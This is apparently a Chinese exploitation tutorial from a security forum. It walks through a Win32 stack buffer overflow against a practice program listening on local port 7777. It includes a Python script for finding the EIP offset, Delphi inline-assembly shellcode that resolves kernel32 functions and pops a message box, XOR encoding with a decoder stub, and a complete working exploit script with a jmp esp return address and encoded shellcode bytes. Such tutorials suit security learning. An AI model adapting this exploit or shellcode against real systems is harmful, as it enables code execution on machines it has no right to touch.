看了网上到处转载的“Win32 缓冲区溢出实战“(原文是《Intro to Win32 Exploits》)和其他看雪论坛中的佳作,有所感悟。特写此文,以作留念。
原文中老外用大段篇幅讨论了“用多长的buffer可以覆盖到内存中的EIP。
他的python脚本实现原理如下,这里我们先假设寄存器大小是1byte:
a.首先生产如下数字串123456789123456789123456789123456789123456789
b.然后我们看到某个数字覆盖了EIP(假设EIP大小是1byte),假设是2,然后我们重新构建数字串,只改变原来数字2所在的位置,其他位置数字忽略或不变。
c.现在某个数字又覆盖了EIP,假设是4,这样我们就可以计算出buffer的真实长度,用于写exploit了。现实中X86机器中寄存器是4byte的,所以我们将上面的数字串扩展到4个数字相同的排列。实际调试中又发现,有时候并不是刚好相同的4个数字覆盖了EIP,比如是4445,所以我们在buffer的开头加入一个align字符,比如A,将buffer挤动一位,这样覆盖EIP的数字串就是444了。这个算法很有创意。有没有简单点的?
那我们就开始Python3.0溢出之旅吧!
1、赶紧下个python 3.0
2、找个有溢出漏洞的程序做靶子。于是在看雪论坛找了个exploit_me,程序启动之后,会监听本地的7777端口,用来接受用户的输入,然后显示在屏幕上。
3、算法构思:
   在buffer里填充acii字符。你可以在命令行输入test.py 100就表示在buffer里填充
0123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899这么长的字符串,程序会提示字符串的字节数。如果覆盖了EIP,则要根据错误提示找到EIP被字符串最后哪几个字符所覆盖,然后口算就能得出覆盖EIP之前的buffer大小。
   通过一天的python学习,写出的脚本如下。简单注释一下:
import socket,sys  #sys 命令行参数要用到
data = ''
k=0
j=int(sys.argv[1])   #取得命令行参数即要数到几
HOST = '127.0.0.1'
PORT=7777
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))     
if j<11 :
    k=j
elif j>10 and j<100 :
    k=2*(j-10)+10
elif j>99 and j<1000 : 
    k=3*(j-100)+90*2+10
elif j>999 and j<10000 : 
    k=4*(j-1000)+900*3+90*2+10  
else:
    k=0        #算出一共发送的字节数
if k==0 :
   print('The number is too big!')
   sys.exit(1)   
for i in range(j):
   data=data +str(i) 
print('Sending:', repr(data))  
print('Total Bytes:', repr(k))
s.send(data.encode())
s.close()
 在我的Xp系统下运行正常,截了几张图。pathon脚本程序它没有vc的{},也没有delphi的begin end,就看你每行的缩进了得非常注意。


  4、抠个shellcode,做个测试。将如下的Project1.dpr用delphi编译得到Project1.exe,然后用OD载入。
program Project1;
procedure ShellcodeFunc();
var
  uLoadLibrary,uGetProcAddress,uKernelBase,flen:LongWord;
  FuncName :pchar;
begin
       asm
             jmp @Start
          @GetFunc:
              mov eax,uKernelBase
              mov eax,[eax+3ch]
              add eax,uKernelBase
              mov eax,[eax+78h]
              add eax,uKernelBase
              mov esi,eax
              mov ecx,[eax+18h]
              mov eax,[eax+20h]
              add eax,uKernelBase
              mov ebx,eax
              xor edx,edx
          @FindLoop:
              push ecx
              push esi
              mov eax,[eax]
              add eax,uKernelBase
              mov esi,FuncName
              mov edi,eax
              mov ecx,flen
              cld
              rep cmpsb
              pop esi
              je  @Found
              inc edx  
              add ebx,4
              mov eax,ebx
              pop ecx
              loop @FindLoop
          @Found:
              add esp,4
              mov eax,esi
              mov eax,[eax+1ch]
              add eax,uKernelBase
              shl edx,2
              add eax,edx
              mov eax,[eax]      
              add eax,uKernelBase
              jmp @Founded
              xor eax,eax
          @Founded:
              ret

          @Start:
              push esi
              push ecx
              xor eax, eax        
              xor esi, esi
              mov esi, fs:[esi + 18h]
              mov eax, [esi+4]                 
              mov eax, [eax -1ch]
          @find_kernel32_base:
              dec eax
              xor ax, ax
              cmp word ptr [eax], 5a4dh
              jne @find_kernel32_base
              pop ecx
              pop esi
              mov uKernelBase,eax
              mov flen,0ch
              call @LL1
              DB  'L','o','a','d','L','i','b','r','a','r','y','A',0
          @LL1:
              pop eax
              mov FuncName,eax
              call @GetFunc
              mov uLoadLibrary,eax
              mov flen,0Eh
              call @LL2
              db  'G','e','t','P','r','o','c','A','d','d','r','e','s','s',0
          @LL2:
              pop eax
              mov FuncName,eax
              call @GetFunc
              mov uGetProcAddress,eax
              call  @l1
              db 'u','s','e','r','3','2','.','d','l','l',0
          @l1:
              call uLoadLibrary
              call @l2
              db  'M','e','s','s','a','g','e','B','o','x','A',0
          @l2:
              push eax
              call uGetProcAddress
              push 0
              call @l3
              db $cc,$ec,$d2,$d7,0
          @l3:
              call @l4
              db 'L','o','v','e',0
          @l4:
              push 0
              call eax   
              call @l5
              db  'E','x','i','t','P','r','o','c','e','s','s',0
          @l5:
              push uKernelBase
              call uGetProcAddress
              push 0
              call eax
      end;
end;
begin
    ShellcodeFunc;
end.
载入后入口处是这样
00401F8C > $  55            PUSH EBP
00401F8D   .  8BEC          MOV EBP,ESP
00401F8F   .  83C4 F0       ADD ESP,-10
00401F92   .  B8 6C1F4000   MOV EAX,Project1.00401F6C
00401F97   .  E8 00FEFFFF   CALL Project1.00401D9C
00401F9C   .  E8 77FEFFFF   CALL Project1.00401E18   ;此处F7进入
00401FA1   .  E8 56FAFFFF   CALL Project1.004019FC
00401FA6   .  8BC0          MOV EAX,EAX

来到........
00401E18   $  55            PUSH EBP                  ;要取的shellcode的开始位置
00401E19   .  8BEC          MOV EBP,ESP
00401E1B   .  83C4 EC       ADD ESP,-14             
00401E1E   .  EB 56         JMP SHORT Project1.00401E76
00401E20   $  8B45 FC       MOV EAX,DWORD PTR SS:[EBP-4]
00401E23   .  8B40 3C       MOV EAX,DWORD PTR DS:[EAX+3C]
......
00401F3D      FFD0          CALL EAX                  ;  kernel32.ExitProcess 结束位置

选中这一段,在右键菜单中找到“二进制复制”,把它粘贴到记事本里。显然这里面有00和00 00会被截断。需xor加密一下,这里用我自己编的工具。找个里面没有的字节这里选88写在第一行从第二行开始写待加密的字节,然后保存成到工具所在的目录。文件名可以随意取,但后缀必须要是.ty,便于加密程序能找到。运行“异或加密.exe”在程序后,在工具目录自动生成一个shellcode.txt文件.对比如下图:
这段里面已经没有00了,但是需要在前面加一段解密代码。
将EB 10 5A 4A 33 C9 66 B9 27 01 80 34 11 88 E2 FA EB 05 E8 EB FF FF FF粘贴进记事本的开头处修改几个关键参数,简单调试看看就可以了(如图)。
这样解密+加密后的代码如下:

EB 10 5A 4A 33 C9 66 B9 27 01 80 34 11 88 E2 FA EB 05 E8 EB FF FF FF
DD 03 64 0B 4C 64 63 DE 03 CD 74 03 C8 B4 8B CD 74 03 C8 F0 8B CD 74 01 4E 03 C0 90 03 C8 A8 8B
CD 74 01 4B B9 5A D9 DE 03 88 8B CD 74 03 FD 70 01 4F 03 C5 7C 74 7B 2E D6 FC 81 CA 0B 4B 8C 01
50 D1 6A 6A 0B 4C 8C 01 78 03 C8 94 8B CD 74 49 6A 8A 89 58 03 88 8B CD 74 63 8A B9 48 4B DE D9
B9 48 B9 7E EC 03 FE 90 03 CE 8C 03 C8 6C C0 EE B9 48 EE 09 B0 C5 D2 FD 7D D1 D6 01 CD 74 4F CD
7C 84 88 88 88 60 85 88 88 88 C4 E7 E9 EC C4 E1 EA FA E9 FA F1 C9 88 D0 01 CD 70 60 E0 77 77 77
01 CD 78 4F CD 7C 86 88 88 88 60 87 88 88 88 CF ED FC D8 FA E7 EB C9 EC EC FA ED FB FB 88 D0 01
CD 70 60 C9 77 77 77 01 CD 64 60 83 88 88 88 FD FB ED FA BB BA A6 EC E4 E4 88 77 DD 78 60 84 88
88 88 C5 ED FB FB E9 EF ED CA E7 F0 C9 88 D8 77 DD 64 E2 88 60 8D 88 88 88 44 64 5A 5F 88 60 8D
88 88 88 C4 E7 FE ED 88 E2 88 77 58 60 84 88 88 88 CD F0 E1 FC D8 FA E7 EB ED FB FB 88 77 FD 74
77 DD 64 E2 88 77 58
将其格式化后放入attack.py  这就是我们演示溢出的python脚本。
import socket
data = b"A" * 200+b"\x7b\x46\x86\x7c"  + \    #0x7c86467b是我系统中kernel32.dll中的jmp esp的地址
b"\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x27\x01\x80\x34\x11\x88\xE2\xFA" +\
b"\xEB\x05\xE8\xEB\xFF\xFF\xFF\xDD\x03\x64\x0B\x4C\x64\x63\xDE\x03\xCD\x74\x03\xC8" +\
b"\xB4\x8B\xCD\x74\x03\xC8\xF0\x8B\xCD\x74\x01\x4E\x03\xC0\x90\x03" +\
b"\xC8\xA8\x8B\xCD\x74\x01\x4B\xB9\x5A\xD9\xDE\x03\x88\x8B\xCD\x74" +\
b"\x03\xFD\x70\x01\x4F\x03\xC5\x7C\x74\x7B\x2E\xD6\xFC\x81\xCA\x0B" +\
b"\x4B\x8C\x01\x50\xD1\x6A\x6A\x0B\x4C\x8C\x01\x78\x03\xC8\x94\x8B" +\
b"\xCD\x74\x49\x6A\x8A\x89\x58\x03\x88\x8B\xCD\x74\x63\x8A\xB9\x48" +\
b"\x4B\xDE\xD9\xB9\x48\xB9\x7E\xEC\x03\xFE\x90\x03\xCE\x8C\x03\xC8" +\
b"\x6C\xC0\xEE\xB9\x48\xEE\x09\xB0\xC5\xD2\xFD\x7D\xD1\xD6\x01\xCD" +\
b"\x74\x4F\xCD\x7C\x84\x88\x88\x88\x60\x85\x88\x88\x88\xC4\xE7\xE9" +\
b"\xEC\xC4\xE1\xEA\xFA\xE9\xFA\xF1\xC9\x88\xD0\x01\xCD\x70\x60\xE0" +\
b"\x77\x77\x77\x01\xCD\x78\x4F\xCD\x7C\x86\x88\x88\x88\x60\x87\x88" +\
b"\x88\x88\xCF\xED\xFC\xD8\xFA\xE7\xEB\xC9\xEC\xEC\xFA\xED\xFB\xFB" +\
b"\x88\xD0\x01\xCD\x70\x60\xC9\x77\x77\x77\x01\xCD\x64\x60\x83\x88" +\
b"\x88\x88\xFD\xFB\xED\xFA\xBB\xBA\xA6\xEC\xE4\xE4\x88\x77\xDD\x78" +\
b"\x60\x84\x88\x88\x88\xC5\xED\xFB\xFB\xE9\xEF\xED\xCA\xE7\xF0\xC9" +\
b"\x88\xD8\x77\xDD\x64\xE2\x88\x60\x8D\x88\x88\x88\x44\x64\x5A\x5F" +\
b"\x88\x60\x8D\x88\x88\x88\xC4\xE7\xFE\xED\x88\xE2\x88\x77\x58\x60" +\
b"\x84\x88\x88\x88\xCD\xF0\xE1\xFC\xD8\xFA\xE7\xEB\xED\xFB\xFB\x88" +\
b"\x77\xFD\x74\x77\xDD\x64\xE2\x88\x77\x58"

HOST = '127.0.0.1'
PORT=7777
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send(data)
s.close()

jmp esp的地址可以在OD中进入可执行模块kernel32.dll的空间,然后在其中搜索所有命令,输入jmp esp就可以找到了。调试的话必须要修改为你机子里对应的地址。
溢出成功后截了张图。

后附上一些调试程序。

上传的附件 test.rar